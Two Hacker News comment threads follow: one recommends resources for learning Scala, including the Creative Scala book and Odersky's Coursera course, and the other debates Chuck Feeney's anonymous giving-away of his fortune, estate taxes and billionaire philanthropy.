Creative Scala: A New Introduction to Scala - <AUTHOR> http://underscore.io/blog/posts/2015/03/25/creative-scala-released.html <comment><USER2> For a ground-up, thorough, and free course on functional programming in Scala, take the course Martin Odersky teaches our undergrads at EPFL (Functional Programming Principles in Scala): [https://www.coursera.org/course/progfun](https://www.coursera.org/course/progfun)

Given as a MOOC on Coursera.

<comment><USER3> That course is definitely targeted to people with previous programming experience.

<comment><USER4> I would argue the same about the language in general. Not from an elitist perspective, but I don't think it is a particularly beginner friendly language.

</comment></comment></comment><comment><USER5> I like the idea of using graphics to introduce functional programming to beginners. From experience, I think taking the risk of introducing key concepts in an visually appealing way is much more effective than using classic examples (calculators?).

</comment><comment><USER6> This looks nice! Can anyone recommend other good resources for Scala beginners? I'm checking out Twitter's Scala School[1] but the disclaimer near the start indicates that it's based on an older Scala version. I'm also using Odersky's "Scala by Example"[2]

1: [http://twitter.github.io/scala_school](http://twitter.github.io/scala_school) 2: [http://www.scala-lang.org/docu/files/ScalaByExample.pdf](http://www.scala- lang.org/docu/files/ScalaByExample.pdf)

<comment><USER7> I think the Twitter school is pretty up-to-date. Scala-by-Example is older. There are also a large number of good books teaching Scala. I believe it's worth investing in one or two. And, there's my Coursera course, if you want a more rigorous introduction not just to Scala but to functional programming in general.

<comment><USER6> Wow, I didn't expect to receive a reply from you! Thanks, I'll check out the Coursera course. I did start reading "Functional Programming in Scala" by Paul Chiusano and Rúnar Bjarnason, but wanted something a bit more beginner- friendly. Then again I was recovering from a concussion at the time, so perhaps I should revisit it now. :)

<comment><USER8> I would definitely recommend Martin's Coursera course, it's incredibly well structured and very well delivered, with enough difficulty to be challenging but it guides you through very gently. Well worth it for learning both Scala and Functional Programming.

<comment><USER9> In retrospect I found it to be more of a "functional programming which happens to be using scala" class and less an "intro to scala". That's not a bad thing (nor a good thing, it's just a thing) but it's not necessarily what is most useful for a person.

A few years ago I joined a group which had been using scala for a while (since '09ish IIRC) and I took the coursera class to get up to speed. It definitely helped but the reality was that their code base was closer to being java++ than to haskell and a lot of the early habits I picked up from the coursera class were immediately beaten out of me once I got rolling there.

One could argue that they were in the wrong, but I disagree - Scala _is_ a multi-paradigm language and not everyone is going the FP route (I recently heard Venners refer to Scala as a "reform movement for OO, which is how I personally treat it, but that's neither here nor there).

All this said, I don't have a better suggestion. As I mentioned I took the Coursera class and read the Staircase book. The Twitter stuff online was useful but mainly I just read as much as I could online, tracked down conference videos, etc.

</comment></comment></comment></comment></comment><comment><USER10> This is exactly what I was looking for! I started looking at Scala over the weekend and found the existing beginner-oriented documentation to be pretty lacking. I also signed up for the course.

<comment><USER11> The Neophyte's Guide to Scala is the best language intro I've read.

No other platform I'm aware of has anything like Typesafe Activator, which is an awesome learning/tutorial resource.

There's also Scala Koans out there somewhere I found helpful to practice with.

</comment></comment><comment><USER12> Even better, it's from the future: Posted 25 Mar 2015</comment>


Chuck Feeney Is Now Officially Broke - <AUTHOR> https://www.forbes.com/sites/stevenbertoni/2020/09/15/exclusive-the-billionaire-who-wanted-to-die-brokeis-now-officially-broke/#2d2d3103a2aa <comment><USER3> I vaguely recall that there are classic levels in Jewish philosophy regarding philanthropy, and among the highest is to give with no expectation of any return whatsoever: that means not only giving where it matters, but to do so anonymously, to organizations that don't benefit you (no opera companies), and to people with no ties to you. In this respect Chuck Feeney has been incredible.

This is not to dismiss the likes of Bill Gates: he has been very public with his donations, but in some cases (notably celebrity) notoriety in your donations may create a multiplier effect as it encourages others to do likewise. Even so, I think this is still on a lower-rung, philanthropy-wise, than Feeney's approach.

Nonetheless, we're sitting here praising someone who reduced himself from billions to $2M, but we must remind ourselves that this is unimpressive compared to the poor person who donates $25 to others while starving herself. The value of money is nonlinear. I'm sure that Feeney would say this as well: he no doubt sees himself as saddled with the burden of billions of dollars rather than someone doing something amazing.

I wonder if I ever will have the strength to do what he has done.

<comment><USER4> Maimonides defines eight levels in giving charity (tzedakah), each one higher than the preceding one.

On an ascending level, they are as follows:

8\. When donations are given grudgingly.

7\. When one gives less than he should, but does so cheerfully.

6\. When one gives directly to the poor upon being asked.

5\. When one gives directly to the poor without being asked.

4\. Donations when the recipient is aware of the donor's identity, but the donor still doesn't know the specific identity of the recipient.

3\. Donations when the donor is aware to whom the charity is being given, but the recipient is unaware of the source.

2\. Giving assistance in such a way that the giver and recipient are unknown to each other. Communal funds, administered by responsible people are also in this category.

1\. The highest form of charity is to help sustain a person before they become impoverished by offering a substantial gift in a dignified manner, or by extending a suitable loan, or by helping them find employment or establish themselves in business so as to make it unnecessary for them to become dependent on others.

[0] [https://www.jewishvirtuallibrary.org/eight-levels-of- charita...](https://www.jewishvirtuallibrary.org/eight-levels-of-charitable- giving)

<comment><USER5> Level one sounds suspiciously close to actually paying taxes and let the social net built on it work its magic.

Now come on, downvote me to hell.

<comment><USER6> On the one hand, I think your comment is correct, insightful and important.

On the other hand, I have a firm policy of always downvoting comments on HN that say things like "I know I'm going to get downvoted for posting this", because I think doing that should be strongly disincentivized.

I'm compromising by neither upvoting nor downvoting and leaving this reply.

<comment><USER5> Have my upvote as well. I was still frustrated by a similar observation I recently posted that went negative, much to my surprise, and made me imply a pretty libertarian bias.

Apologies for the bile, I'll engage in a more civil discussion tone going forward.

</comment></comment></comment></comment></comment><comment><USER7> I've long argued for massive estate tax rates on large estates in order to incentivize behavior like this. I have no problem at all with Bezos being worth $200 billion (or whatever it is now), but it's this dynastic wealth that I find borderline sickening. Why in the hell should the Rockefeller's of today be billionaires??? Also, these giant charitable foundations/family offices are similarly off-putting, as they are setup as semi-perpetual institutions that often only make the minimum 5% distribution annually. (Another fix would be to jack that up to 25% upon death) Big estate taxes seem to solve for a lot of problems with appropriate compromises.

<comment><USER8> An Open Letter from Economists on the Estate Tax

To whom it may concern:

Spend your money on riotous living – no tax; leave your money to your children – the tax collector gets paid first. That is the message sent by the estate tax. It is a bad message and the estate tax is a bad tax.

The basic argument against the estate tax is moral. It taxes virtue – living frugally and accumulating wealth. It discourages saving and asset accumulation and encourages wasteful spending. It wastes the talent of able people, both those engaged in enforcing the tax and the probably even greater number engaged in devising arrangements to escape the tax.

The income used to accumulate the assets left at death was taxed when it was received; the earnings on the assets were taxed year after year; so, the estate tax is a second or third layer of taxation on the same assets.

The tax raises little direct revenue- partly because the estate planners have been so successful in devising ways to escape the tax. Costs of collection and compliance are high, perhaps of the same order as direct tax receipts. The encouragement of spending reduces national wealth and thereby the flow of aggregate taxable income. These indirect effects mean that eliminating the tax is likely to increase rather than decrease the net revenue yield to the federal government.

The estate tax is justified as a means of reducing the concentration of wealth. However, the truly wealthy and their estate planners avoid the tax. The low yield of the tax is a testament to the ineffectiveness of the tax as a force for reshaping the distribution of wealth.

The primary defense made for the estate tax is that it encourages charity. If so, there are better and less costly ways to encourage charity. Eliminating the estate tax will lead to higher economic growth, which is the most important variable in determining the level of charitable giving.

Death should not be a taxable event. The estate tax should be repealed.

Signed,

Milton Friedman

<comment><USER9> > The basic argument against the estate tax is moral. It taxes virtue – living > frugally and accumulating wealth.

Is there something virtuous about hoarding wealth?

<comment><USER10> Those who "hoard" wealth do not do so by filling a swimming pool with gold coins like Scrooge McDuck. They invest in companies that provide jobs and the goods and services that the rest of us enjoy. Yes that is virtuous.

<comment><USER11> Sitting on billions of dollars in stock in a publicly traded company isn't really all that different from having a swimming pool full of gold coins. The day-to-day functioning of that company is not going to be affected if the billionaire sells shares to pay taxes rather than giving the shares to their children. An initial investment in a company is virtuous but once you have billions keeping that money in the family isn't really virtuous given that the alternative is contributing to the society that made the initial investment possible.

<comment><USER10> Investing in companies is contributing to society. Government is not society. Investing in Walmart so that the rural poor have more access to affordable goods is virtuous. And a whole lot of the contributions to government are absolutely not. Like the money that goes to build bombs to kill people in Yemen, or the money that funds your local police department's efforts to suppress protests against their unaccountable violence.

</comment></comment></comment></comment></comment></comment><comment><USER12> This is a role model I can actually appreciate. I can't figure out why this is the first time I've heard of him. I've seen lots of news about people buying expensive shit, but the fact that this has never come to my attention is a horrible indicator of what the media chooses to report on.

<comment><USER13> > While many wealthy philanthropists enlist an army of publicists to trumpet > their donations, Feeney went to great lengths to keep his gifts secret.

Seems like that was by design.

<comment><USER14> > Seems like that was by design.

It is. Philanthropy exists to launder the reputations of the rich, on the one hand, and are paternalistic on the other. The only things that get funding are things that can attract the attention of our "betters." If we had taxed them on the front end to the point they couldn't become billionaires in the first place then people in general (through democracy) can decide what causes are valuable. And with the added bonus that the negative effects of they got to be billionaires don't cause more problems (Feeney worked in private equity. PE are strip & sell firms)

<comment><USER15> I've noticed this community is very bullish on the ends justifying the means, ie a founder that bends the rules and causes some damage and hurts some people but has a huge exit and gives some to charity is still a hero and role model.

<comment><USER16> Some people frame this as 'earning to give':

[https://en.wikipedia.org/wiki/Earning_to_give](https://en.wikipedia.org/wiki/Earning_to_give)

<comment><USER17> "Earning to give" doesn't mean you have to earn in dishonest fashion.

<comment><USER18> You can't become a billionaire through honest earnings. The degree is variable but the presence is inevitable, becoming required more the more billions you amass. Of course, you can take the ethical route, but those people don't get the billions.

<comment><USER19> I know a billionaire who basically was in the right place at the right time during the biotech boom. He started a company as a side project (he was a professor), got a deal to supply a major pharmaceutical company, and expanded from there. I don't know every decision he ever made but I'm not aware of any unethical behavior. He lives fairly frugally and has made a point of staying under the radar (he's successfully avoided being put on Forbes's list of billionaires, for example).

I'm willing to argue that it is in fact possible to become a billionaire though honest earnings.

<comment><USER18> I probably shouldn't make such absolute statements, they do beg for counterexamples. I'd be surprised if your friend didn't engage in _some_ anti- competitive or employee-exploiting practices, but of course I have no idea.

</comment></comment></comment></comment></comment></comment></comment></comment></comment><comment><USER20> Mark Benioff donated $100M to the UCSF Benioff Children's Hospital and got his name on the INSTITUTION (not just a building). What many don't know is that donation was to complete a match of $125M offered by Chuck Feeney (who does not have his name on a building anywhere on the campus, AFAIK).[0]. That $125M was only part of the $394M Chuck ended up giving to UCSF.[1]

[0][https://www.healthleadersmedia.com/finance/ucsf-childrens- ho...](https://www.healthleadersmedia.com/finance/ucsf-childrens-hospital- gets-100m-gift-build-new-hospital)

[1][https://www.ucsf.edu/news/2015/02/123366/ucsf- receives-100m-...](https://www.ucsf.edu/news/2015/02/123366/ucsf- receives-100m-gift-advance-health-sciences-mission)

<comment><USER21> Namely something after yourself is tacky. But what should buildings be named after? Famous scientists? Planets?

Feeney seems like an awesome guy but sadly in 100 years nobody will know his name!

<comment><USER22> I'm not sure what the actual name of the phenomenon is but I've heard it call 'wife-name-last name' syndrome.

Basically, the uber rich want to be seen as something more than just money. Guys like Anschutz and whatnot. There seems to be a pattern where they get a new shiny glass and steel building with a bunch of sick kids in it, and then they put the wife's name, an ampersand, his name, and the last name in big 3-D letters on the side. Likely it's a tax writeoff.

Also, not to be too cynical, but it's not a bad thing overall. The money could be sitting in the Caymans afterall.

<comment><USER23> Most of the worlds money is sitting in the Cayman's after-all, or hidden away as art investments inside of storage containers.

<comment><USER24> Is it really? Where can I read about it?

<comment><USER25> [https://en.wikipedia.org/wiki/Panama_Papers](https://en.wikipedia.org/wiki/Panama_Papers)

[https://www.businessinsider.com/tax-havens-for- millionaires-...](https://www.businessinsider.com/tax-havens-for-millionaires- around-the-world-2019-11)

<comment><USER26> I don't see anything to suggest "it's most of the world's wealth". Do you have another source?

</comment></comment></comment></comment></comment></comment></comment><comment><USER27> I humbly encourage everyone to make giving a larger part of your life.

Consider giving at least 10% of your income to _cost-effective_ charities -- because cost-effective charities can do _thousands_ of times more good than merely regular charities. So your $1,000 donation can do as much good as $1 million, if given well.

Join others: [https://www.givingwhatwecan.org/](https://www.givingwhatwecan.org/)

<comment><USER28> > So your $1,000 donation can do as much good as $1 million, if given well.

Umm, no

<comment><USER29> A donation of half a billion can do as much good as six houses, if given poorly.

[https://www.propublica.org/article/how-the-red-cross- raised-...](https://www.propublica.org/article/how-the-red-cross-raised-half- a-billion-dollars-for-haiti-and-built-6-homes)

</comment></comment></comment><comment><USER30> Chuck Feeney embodies what Gandhi said about the rich having wealth in trust and using it for the good of society:

 _" "supposing I have come by a fair amount of wealth — either by way of legacy, or by means of trade and industry — I must know that all that wealth does not belong to me; what belongs to me is the right to an honourable livelihood, no better than that enjoyed by millions of others. The rest of my wealth belongs to the community and must be used for the welfare of the community."_ [1]

Each time I bike past Cornell Tech, Feeney's generosity awes me. What a mensch. Makes me proud to be human.

[1] [https://indianexpress.com/article/opinion/columns/mahatma- ga...](https://indianexpress.com/article/opinion/columns/mahatma-gandhi- wealth-6063201/)

</comment><comment><USER30> The amount of negativity in this thread regarding billionaires and charity is stupefying. There are well established reasons why the distribution of wealth is lumpy - the uneven distribution of initial endowments, skills, parenting, luck, education, etc. The work of Pareto and the Ergodicity Economics gives a sound theoretical basis to this realization. There is no middle ground folks - in any incentive driven system you will have a power tailed distribution.

Can we just celebrate Chuck Feeney and his awesomeness?

<comment><USER31> "What many don't know is that [Mark Benioff] donation was to complete a match of $125M offered by Chuck Feeney (who does not have his name on a building anywhere on the campus, AFAIK)."

"I wonder if I ever will have the strength to do what he has done."

"I've long argued for massive estate tax rates on large estates in order to incentivize behavior like this."

"This is a role model I can actually appreciate."

"I humbly encourage everyone to make giving a larger part of your life."

Those are quotes from the current top 5 comments in this thread — plenty of celebration of Chuck Feeney's awesomeness.

<comment><USER30> I saw those but there was the usual jaw-boning if Billionaire philanthrophy is good for our society. I understand the hand-wringing but that is akin to wishing that we were all born equal to perfect families in strife free lands with perfect health care and child care and the rest.......utopia.

Edit: See below ;)

</comment></comment></comment><comment><USER32> He was outed a few years ago due to a IPO of DFS, otherwise he'd still be below the radar. His partner at DFS, Miller, took the opposite route: still a major shareholder, extravagant lifestyle with his kids being classic "rich kids".

Nice A/B experiment.

</comment><comment><USER33> Mad respect, not letting that amount of money get to your head and not wasting it on vain stuff surely takes some crazy discipline.

<comment><USER34> It's not 'discipline' though.

If you were raised a certain way, in a certain era, it wouldn't be rational to spend it on 'frivolity'.

There are a _lot_ of people like this. Tons of very rich folks living in normal homes, driving normal cars that they 'never buy news'.

I think in some ways more common than not, especially in more rural and suburban areas wherein projecting wealth isn't actually necessary to their professional identity.

<comment><USER35> > especially in more rural and suburban areas wherein projecting wealth isn't > actually necessary to their professional identity.

I don't know about suburban areas in general. I think it largely depends on which neighborhood.

While it may not impact peoples professional identity, in many suburbs it impacts their social identity.

</comment></comment></comment><comment><USER36> It's true of him regardless, but as someone from Northern Ireland, Chuck Feeney is a freaking hero.

I don't have much to add that hasn't been said already, but his donations - right up to the last - have made genuine and lasting differences in the hearts and minds of kids growing up here and I doubt even he knows all the good that's come of what he did in this place.

I don't want to ramble on because it'll end up sounding like a eulogy but he's done an incredible thing for our people and we're incredibly grateful for it.

</comment><comment><USER21> This guy is my hero. I do hope he was able to enjoy spending some of his money on himself and his family though. I have no problem with billionaires who contribute a lot to society living well as long as they aren't hording resources (huge acreage estates, mega yachts, rental properties). "Contribute to society" is the sticking point for many of them though.

I hope I can live like Mr. Feeney, although I personally wouldn't be quite as ascetic as he given the circumstances (I would own a small but nice house in San Diego or Hawaii and a nice 0 emission solar/sail powered boat).

Good work Chuck!

</comment><comment><USER37> If curious see also

2018 [https://news.ycombinator.com/item?id=16513124](https://news.ycombinator.com/item?id=16513124)

2013 [https://news.ycombinator.com/item?id=6081804](https://news.ycombinator.com/item?id=6081804)

</comment><comment><USER38> Chuck's actual works get just a little mention in this piece.

He is known for helping to bring peace to Northern Ireland and the Republic of Ireland. That is, to end the Troubles, a conflict that lasted about 30 years, from the late 60s to the late 90s. People who were not yet adults in that time may have difficult imagining the violence of the Troubles. The terrorism, riots, violence and armed actions that characterized a guerrilla war and its suppression, all on the edge of Western Europe. The southern counties that now make up the Republic of Ireland had only achieved independence a few decades before that (the dates are complicated, but let's say it was in 1921) after 800 years of British occupation, and a recent war of independence.

That was the backdrop against which Chuck Feeney tried to bring peace. He did so by working with both sides of the conflict, the Catholics and the Protestants, with diplomacy and massive investments, to make sure that they could see a path to peace despite all the anger, animosity and desire for vengeance that decades of violence and killing can instill. He helped resolve that. Not alone, but he was crucial. And we don't even think about it any more because it's all been relatively normal for a while. And that's amazing.

</comment><comment><USER39> most people say the would do something like this if they ever became extremely rich, but only a few would actually be able to do it. I'm in awe of the strength of character this guy must have.

<comment><USER40> You don't _need_ to "become extremely rich" for charitable giving to be quite worthwhile. Even donating trivial amounts of money to high-impact charity can easily come with a factor of 1000× in value created, compared to just spending the same amount of money on your own private consumption. (Of course this assumes that you're choosing the right causes, generally involving very poor countries and the like; not just "donating" to your local art gallery, or for that matter your local college with a billion-dollar endowment.)

<comment><USER41> You can also donate your time.

<comment><USER40> Well, if you're working in paid employment it will usually be a _lot_ more effective to put in some more time at work, and give away some of the resulting income. "Donating your time" can of course be genuinely worthwhile if you're, e.g. a scientist who might want to do useful research on globally- relevant, critical issues; just not very much otherwise.

<comment><USER42> _it will usually be a lot more effective to put in some more time at work, and give away some of the resulting income._

I'm paid salary. I'm of the opinion that it is usually the self-absorbed that think that after they leave the office they are still worth what their employer pays them.

Making it a requirement that your time donation be within your professional skillset is saying, "such work is beneath me". I'm not above ladling a bit of soup into a bowl or picking up the dog shit while at the animal shelter.

<comment><USER43> Then you don't understand the specialization of labor very well, and you're being very disingenuous to the parent post. They made no reference to certain work being beneath them, only the idea in maximizing resources. Maybe you could help the shelter with some database work while a junior high kid picks up poop.

<comment><USER42> There is far more dog shit to be picked up than database work to be done. I sometimes get the impression that folks think non-profits have an endless stream of IT projects, if only someone would volunteer time to do them. That has not been my experience, most volunteer organizations need physical work, not another web app. Most of the software needs can be taken care of by off- the-shelf products that will be supported longer than one-off volunteer projects that get abandoned.

</comment></comment></comment></comment></comment></comment></comment><comment><USER44> Is a person who invests that money for-profit but makes giant advancements in maths/science while doing it an equally big giver?

Take for example, Elon musk. Even though he hasn't given monet away to charities like Chuck, his for-profit enterprises like electric cars, solar farms, spacex and possibly neuralink might just have been things that end up equally great for humanity.

So if you have billions I guess timtowtdi.

<comment><USER45> Also - does he actually "have money"?

Tesla and SpaceX don't make a profit or pay dividends. My guess is he finances his entire life from taking on debt which is secured against his stock.

So how exactly are people like him supposed to just give money away? What happens to the stock he owns then? Would he forgo control of his companies?

How would he pay taxes on that income anyway?

Lots of questions the billionaires-shouldn't-exist crowd have no concept of.

<comment><USER46> He started out with a lot of money from his family's South African mining operations.

Your mockery is ill-directed, and in the context of a post about someone whose corporate wealth was able to be donated to charity, in really poor taste.

<comment><USER45> Yeah, because Elon is obviously where he is now because of family money... jesus christ.

Ever heard of Zip2 and Paypal?

Your resentment and jealousy based communist thinking is pretty ugly.

<comment><USER46> Now you've added personal insults to your class mockery. Please, this sort of casual disregard of other people is not appropriate on HN.

Your initial claim was that he had no money apart from company stock, and lives entirely on debt. This is factually incorrect, as I pointed out: his family money predates all of his companies.

Attached to your factually-incorrect claim was a casual denigration of a group of people with whose beliefs you disagree. This was both misguided and unnecessary.

My factual statement in response was simply:

> He started out with a lot of money from his family's South African mining > operations.

Based solely on that true statement of fact, you derided me, responding to claims I never made and labeling me and my "thinking" in inaccurate and insulting ways.

Please, stop.

<comment><USER45> If you are so good on facts, please point to some (other than speculation) that confirm your theory that Elon somehow benefitted from family money, or is currently living off family money not Tesla and SpaceX.

Your statement was extremely loaded, suggesting Elon's family somehow is part of his success. While our past is certainly part of us always, it is very loaded and complex. As is well known Elon's father was very abusive, committed crimes, and has just married his stepdaughter. Ask any psychologist and I think that is more a hindrance than an advantage in terms of family background.

I stand by the fact that anything implying Elon is successful because of his family money is a hugely far-left opinion, if not communist, and has its roots in your resentment for Elon's success.

<comment><USER46> > I stand by the fact that anything implying Elon is successful because of his > family money is a hugely far-left opinion, if not communist, and has its > roots in your resentment for Elon's success.

This is not okay. Please, pursue empathy.

</comment></comment></comment></comment></comment></comment></comment><comment><USER47> Interesting! I wonder if he tracked outcomes so we can see what the result is of all this. He seems pretty happy with how his charitable "investments" have done.

That data could reveal which things are the most effective things to operate charitably in terms of increasing human happiness.

That's something I really like about Jack Dorsey's approach. I get to follow along and see what works.

</comment><comment><USER48> > While many wealthy philanthropists enlist an army of publicists to trumpet > their donations, Feeney went to great lengths to keep his gifts secret.

Crazy respect for this. Many times billionaire charitable foundations are just tax preferred ways of building your image or amassing influence. Bill Gates has done a lot of good, but his charitable work also served to redeem his image from that of the ruthless businessman crushing competitors that he had in the 1990's. In addition, it has also given him a lot of soft power. I bet there are dozens of heads of state, especially in Africa and Asia, that he could personally get on the phone within 30 minutes if he really wanted to.

<comment><USER49> One of my arguments against the accumulation of vast wealth is that Bill Gates can get an in-person visit with my local representative faster than I, a constituent, can get a return phone call.

I think we need 5x the number of representatives at the House level. Separate their duties, strip power from some of them, and keep them in district most of the year so they can actually be held accountable. Would also help to further democratize the House.

<comment><USER48> > I think we need 5x the number of representatives at the House level. > Separate their duties, strip power from some of them, and keep them in > district most of the year so they can actually be held accountable.

That is a a great idea. One idea along those lines, is maybe make the House entirely online with the representatives being in the district 100% of the time. It would do a couple of things. It would make lobbying harder since instead of getting a bunch of people together in Washington at a fancy dinner, the lobbyists would have to travel and meet 1:1. In addition, it might decrease partisan ship by decreasing the power of the party whips. When people are all in a single location, tremendous social pressure can be brought to bear to convince a representative to vote along the party lines, even if it would be going against the wishes of their constituents. With the representatives dispersed and remote, the social pressure would be diminished, and maybe representatives would vote more in line with their constituents' wishes.

<comment><USER49> That mostly works, but intelligence committees, etc. need to be in secure locations to view documents.

</comment></comment></comment></comment><comment><USER50> Huge fan of Chuck. "Who wants to be the richest person in the graveyard?" Is a question I often ask myself. Chuck has lived that philosophy. I moved to the bay last year and I hoe to one day meet him!

</comment><comment><USER51> What he did was great. But for Forbes to say a man with 2% of 8 billion dollars is broke is a stretch.

<comment><USER52> The article says he put away $2m for his and his wife's retirement. While I agree it's not quite 'broke' in the classic American sense, it is .025% of his former net worth of $8b.

<comment><USER53> Yeah, the word "broke" is clickbait. $2m for retirement is more than most. It's simply "not extravagant" which I guess from the eyes of the wealthy class may as well be "broke".

<comment><USER54> Certainly not broke, but it seems difficult to find a way without hyperbole to indicate that he's given away billions and now is no longer in the top 10% of people in his age bracket in the US.

</comment></comment></comment></comment><comment><USER55> I find those people who determine to earn big and then give away big very interesting minds. Their reasons to earn are most of the times very different from a typical person.

<comment><USER56> Speculating here as I am not spectacularly wealthy... I suspect there is more to relate to than first meets the eye.

Chuck is human like all of us. Most people have to spend some amount of time solving for generating enough capital to meet their (and their family's) needs - whatever they may be. The fabulously wealthy / successful did too once upon a time but at some point crossed a threshold the vast vast majority of people - which I will refer to as "typical" - will never, and that is having enough to do and buy literally anything they could possibly desire indefinitely.

Thus the motivation to keep on going professionally (ie to earn more and more, something that drives typical people who are solving to meet needs), I suspect, changes to things money can't buy which are nevertheless "typical": The desire for impact.

Some want it in their life times, others want it for generations (legacy). Some want it in their church or on their job. Others seek and have the means to achieve it on a global scale.

</comment></comment><comment><USER57> Great documentary on him by the Irish National Broadcaster: [https://www.youtube.com/watch?v=OMcjxe8slYI&pbjreload=101](https://www.youtube.com/watch?v=OMcjxe8slYI&pbjreload=101)

</comment><comment><USER58> For a long time I dreamed of being wealthy. But a few experiences being a small-time investor have convinced me that being wealthy (and trying to be wealthy) is a lot of work, and it's work I don't particularly enjoy (too much paperwork).

I'd much rather work as an individual contributor and earn an upper middle class salary for my entire career, with enough to retire comfortably. Growing up I always heard stories about how happiness is not correlated with income above a certain (commonly achievable) level, and I can now corroborate those stories!

You don't have to be rich to give. You can not make the money in the first place, and instead make the world a better place by tending to your own happiness and doing something you enjoy. And if you are lucky like Chuck you can give it away. Or if you are lucky like Jonas Salk you can dedicate your talents to good causes.

Congratulations to Chuck for being happy.

</comment><comment><USER59> The best part of the article

> When I visited a few years ago, inkjet-printed photos of friends and family > hung from the walls over a plain, wooden table. On the table sat a small > Lucite plaque that read: "Congratulations to Chuck Feeney for $8 billion of > philanthropic giving."

</comment><comment><USER60> The Irish education system was also transformed with his generosity. The University of Limerick is a great example. The story is covered in the video.

[https://youtu.be/OMcjxe8slYI?t=1388](https://youtu.be/OMcjxe8slYI?t=1388)

</comment><comment><USER61> I highly recommend the book on Chuck - [https://www.amazon.com/Billionaire- Who-Wasnt-Secretly-Fortun...](https://www.amazon.com/Billionaire-Who-Wasnt- Secretly-Fortune/dp/1610393341)

</comment><comment><USER62> Chuck Feeney is not "officially broke." Per this story he has a couple million set aside for retirement and is living a perfectly happy life with all of his needs met. It seems disrespectful to Feeney's vision for his own life - he can give away so much and still be fine. Not broke.

I don't know why the author had to cross the line into falsehood with the title. It's a great story about a great person, why sacrifice your integrity with an utterly false headline, particularly when the story doesn't need it?

<comment><USER63> The author very likely did not choose the headline and the story itself never refers to Feeney being broke. It does use the idiom "go for broke" meaning to give something your full effort, which Feeney certainly did. Perhaps the headline was a lame attempt at a pun on the idiom or perhaps it's just a clickbait headline.

</comment></comment><comment><USER64> Extra props for doing it anonymously.

<comment><USER65> Preface: yes, absolutely, all the props in the world to this guy for doing something so thoroughly incredible and selfless and rare for the benefit of humanity. Even if I had the means, I know I'd never have the guts to do something so amazingly heroic in as extreme a way as he did.

That said (i.e. time to be the irritating pedantic little asshole, but I think it's a genuine enough question about the purpose/execution of philanthropy)... does the anonymity really warrant _extra_ props? We know that the guy gave away essentially all of his money; does the anonymity of the individual donations really make it more selfless? If anything the headlines "Feeney gives $100M to cause X" and going on TV to talk about it etc. would likely bring more attention and donations to X, which I assume is why Bill Gates and others tend to do things that way.

Edit: ok, I've just figured out from other posts that it basically wasn't known beyond a small group of people that he was giving away most of his wealth. I didn't realize that (although it's also my first time hearing of him). I agree then, he really did spend the bulk of his life being pretty much truly anonymous and that does deserve extra props.

<comment><USER64> I guess I'm more cynical than you. I see it as subtracting props to insist that your name be inscribed on the side of every structure you fund. Bill Gates and others like him are not "giving away" money, since there's practically nothing material they could buy with it in the traditional sense. Gates is trading useless wealth for social prestige. Compare to Sergey Brin, who also spends money on humanitarian efforts such as disaster relief, but takes pains to avoid headlines.

</comment></comment></comment><comment><USER66> There's certainly a paradox in the ideal of being secretive with your donations and thereby not being able to make an example that others could follow, or being vain in beating your drum but setting an example for charity.

For myself, I have always wanted to appear to be doing my best in hiding my charitable donations while inadvertently getting discovered for my generosity, killing two birds with one stone. Unfortunately, I don't nearly have the wealth to pull this off.

<comment><USER43> I don't think Chuck Feeney set out to be purposely secretive as much as anonymous and focused on the money doing the work. I think stories like this one in Forbes highlight he understands the necessity of good leadership by talking about the mission after it's accomplished, rather than looking for recognition during the process. Gates & Buffet are role models for the getting started; Feeney for how you finish.

</comment></comment><comment><USER67> Wow, he hasn't followed this strategy: "set up a legacy fund that annually tosses pennies at a $10 problem."

One of the things almost all foundations do is this: give 100K for $100M problem. There are certain reasons for this: (a) foundations have become mini governments; (b) foundations want to support everyone that comes their way; (c) either foundations can't judge the potential of ventures or they end up supporting their crony or pet projects.

</comment><comment><USER68> This is a criticism of Forbes, not Chuck Feeny:

He has $2 million in retirement. That's over 7 times the median net worth of Americans 75+. He's anything but "broke".

</comment><comment><USER69> Knowing people such as Chuck Feeney exist is very motivating. I have had many near-death experiences. When I came back to this world everything saddened me. It's supposed to be good to be alive. And it is! But ontologically suffering appears to be a fundamental nature about this world. And there are so much unnecessary suffering around us. So many miseries. So many heart-broken things and false dreams and inauthenticity that just result in more sadness. All for nothing at the face of the death.

This is why I want to believe. I want to believe in the goodness of people. Just as I'm constantly troubled by the realistic notion of death as I try to appreciate the transient presence of being here, I want to believe things will get better in the sense that there will be less suffering and people will learn and mature and become wiser and nicer to each other.

As we approach death and become one with nothing, we become one.

As we exist, we are only inducing more pains to ourselves. There are meanings though. I hope there are more meaningful things. We are sentient.

</comment><comment><USER70> I think out of all possibilities for the attitudes and practices of billionaire philanthropists, Feeney is probably as close to the ideal as possible[0].

But it still makes me sad to see this sort of thing celebrated. A small number of ultra-rich people should not be deciding for society what causes get funded, no matter how pure their intentions are. The fact that individuals are able to amass this much money in the first place is itself a problem.

[0] Then again, we can't actually know that he's ideal, since he's worked hard to keep his activities anonymous. On one hand I applaud him for not seeking fame for all this, but on the other, we have little insight into whatever impact -- good or bad -- he's had.

<comment><USER71> >A small number of ultra-rich people should not be deciding for society what causes get funded. Alternatively, we can elect a small number of ultra-rich people into government who would have surly spent his money better on say, funding an ever-growing military.

</comment></comment><comment><USER72> Raise the top tax rate to 90% and all billionaires can feel just as good in their own lifetimes.

</comment><comment><USER23> So inspiring.

It's sad when all these billionaires and multi-millionaire athletes are afraid to risk a few million dollars by commenting on human rights abuses (concentration camps in China e.g.). You can't take it with you! Use your wealth for good...

</comment><comment><USER73> You can obviously give away your wealth or ss an embarrassing counterpoint you can write a book about how hard it is to have money - [https://nypost.com/2020/09/14/why-one-very-rich-woman- says-w...](https://nypost.com/2020/09/14/why-one-very-rich-woman-says-we-need- to-talk-about-money/)

</comment><comment><USER74> I've had an idea for a while: some body (could be the government) maintains a list of useful/important infrastructure projects--bridges, hospitals, schools, etc. If you die with more than $x million, we take all the excess (like today's estate tax), but you get to pick what gets built, and have your name on it (or not, if you're like Feeney).

</comment><comment><USER75> That's one person I definitely admire. Not afraid to play the game and not afraid to end it on _his_ terms. It's one thing to amass a billion or more, quite another to purposefully, part by part dismantle that empire until there is absolutely nothing left with an unknown chunk of life at the end of it.

Chuck Feeney is officially welcome at my table, _anytime_.

</comment><comment><USER76> Good for him & communities. Only few people are real monks. I admire for his detachment with Money.

Not sure word "broke" is the right adjective here. If consciously someone donated their money to charity they need to be celebrated as a "winner" or overpoweing materialistic "money"? Something amazing. "Broke" means very negative. I don't know. I could be wrong.

